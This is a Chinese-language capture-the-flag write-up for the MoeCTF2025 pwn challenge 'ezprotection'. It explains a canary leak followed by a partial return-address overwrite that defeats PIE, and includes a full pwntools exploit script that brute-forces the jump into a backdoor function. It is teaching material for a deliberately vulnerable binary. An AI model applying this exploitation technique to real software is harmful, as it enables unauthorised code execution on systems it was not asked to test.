ezprotection

moectf2025ezprotection (4).png

main函数:

moectf2025ezprotection (2).png

vuln函数:

moectf2025ezprotection (1).png

backdoor函数:

moectf2025ezprotection (3).png

题目有后门函数,我们看到vuln有两次栈溢出机会,第一次read读取后有一个put,那我们这里可以利用这个put泄露canary,然后第二次read就能栈溢出了,但是我们发现有PIE保护,但是我们又没有其他的操作的地方了,那我们就选择部分覆盖返回地址为后门函数地址

我们知道,返回地址存的是下一条指令的地址,那除了main函数,一般都是pie地址,假设是0x555555554011,我们知道,随机化的最小部分是页,也就是倒数第四位的数字是会被随机化改变的,而页内的偏移是固定的,也就是倒数一二三位一定是固定的,我们可以覆盖返回地址两字节为backdoor函数的倒数两字节,即倒数四位,那我们只有第倒数第四位是不一定正确的,所以我们有16分之一的概率对,这个概率可以直接爆破,如果一个程序为大小64kb及以下,那它的第一个地址和最后一个地址的倒数第五位相同,第四位随机,也就是我们这种情况,要是在64kb到1mb中,就是倒数第六位相同,就是倒数第六位相同,第四五位随机,但是我们只能一个字节一个字节的覆盖(即两位十六进制位),那我们的概率就变成了4096分之一,这种情况就不能采用部分覆盖的方法了,所以程序64kb以下绝大部分都可以部分覆盖,64kb以上就要实际调试看看页的情况了

这里我们就能栈溢出到后门函数了,注意直接溢出到backdoor函数的if分支里,这样不用通过检查直接就getflag了

EXP:

from pwn import *
context(arch='amd64', os='linux')

file_name = './pwn'

elf = ELF(file_name)

gdb_   = 1 if ('gdb'    in sys.argv)     else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0
while True:
    if switch:
        target = '127.0.0.1'
        port   = 41425
        p = remote(target, port)
    else:
        p = process(file_name)

    if debug:
        context(log_level='debug')
  
    if error:
        context(log_level='error')   

    if gdb_ and switch == 0:
        gdb.attach(p)
        pause()

    def s(data):             return p.send(data)
    def sa(delim, data):     return p.sendafter(delim, data)
    def sl(data):            return p.sendline(data)
    def sla(delim, data):    return p.sendlineafter(delim, data)
    def r(numb=4096):        return p.recv(numb)
    def ru(delim, drop=True):return p.recvuntil(delim, drop)
    def rl():                return p.recvline()
    def ra(t=None):          return p.recvall(timeout=t)
    def cl():                return p.close()
    def it():                return p.interactive()
    def uu64(data):          return u64(data.ljust(8, b'\x00'))
    def search(s):           return next(elf.search(s if isinstance(s, bytes) else s.encode()))
    def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
    def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
    def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
    def ga(delim=b'\n', name='Leak'):     return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
    def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num

    #################################################################################
    try:
        backdoor = 0x127d
        payload = flat([
        fill(0x20-0x8+0x1)
        ])
        sa(b"Here is a beautiful canary, and it will be watching over you.",payload)
        ru(b"A" * (0x20-0x8+0x1))
        canary = b'\x00' + r(7)
        payload2 = flat([
            fill(0x20-0x8),
            canary,
            fill(0x8),
            p16(backdoor)
        ])
        sa(b"be able to overflow enough bytes.",payload2)
        response = p.recvall(timeout=0.5)
        if b'flag{' in response or b'ctf{' in response:
            context.log_level = 'info' 
            lg("BINGO! Found flag", response)
            it()
            break
        p.close()
    except EOFError:
        p.close()
        continue
    except Exception as e:
        p.close()
        continue

题目链接:

CTF-Writeups/MoeCTF2025/ezprotection at main · Zenquiem/CTF-Writeups


ezprotection
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-uOifLHYY
作者
ZenDuk
发布于
2025年12月29日
许可协议